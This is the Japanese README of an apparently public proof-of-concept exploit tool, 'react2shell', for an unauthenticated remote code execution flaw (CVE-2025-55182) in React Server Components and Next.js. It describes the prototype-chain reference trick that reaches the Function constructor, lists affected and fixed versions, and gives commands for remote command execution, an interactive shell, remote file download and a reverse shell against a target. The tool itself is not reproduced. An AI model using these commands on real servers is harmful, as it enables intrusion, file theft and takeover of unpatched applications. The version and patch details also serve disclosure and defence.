react2shell

React2Shell

CVE-2025-55182 (Next.js: CVE-2025-66478)
認証不要のRCE in React Server Components (Flight Protocol) - PoCエクスプロイト

説明

React Server Components（Flightプロトコル）は、攻撃者が制御する multipart/form-data を、プロトタイプチェーンへのアクセスを検証せずにデシリアライズします。Next-Action ヘッダーを含む単一の認証不要のPOSTリクエストによって、細工された参照チェーン（$1:__proto__:then + $1:constructor:constructor）を介して Function コンストラクターに到達し、サーバー上でリモートコード実行が発生します。

影響を受けるバージョン：react-server-dom-{webpack,turbopack,parcel} 19.0.0 - 19.2.0、および下流の消費者であるNext.js App Router（14.3.0-canary.77+、15.x、16.x）。デフォルトの create-next-app プロジェクトは脆弱です。

使用法

git clone https://github.com/rvzsec/react2shell
cd react2shell
pip3 install -r requirements.txt

python3 react2shell.py check    -t <target>
python3 react2shell.py exec     -t <target> -c '<command>'
python3 react2shell.py shell    -t <target>
python3 react2shell.py file     -t <target> -f <remote-path> -o <local-out>
python3 react2shell.py revshell -t <target> --lhost <ip> --lport <port>

修正済みバージョン

React 19.0.1 / 19.1.2 / 19.2.1+ - Next.js 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7

クレジット

元の開示: Lachlan Davidson (@lachlan2k)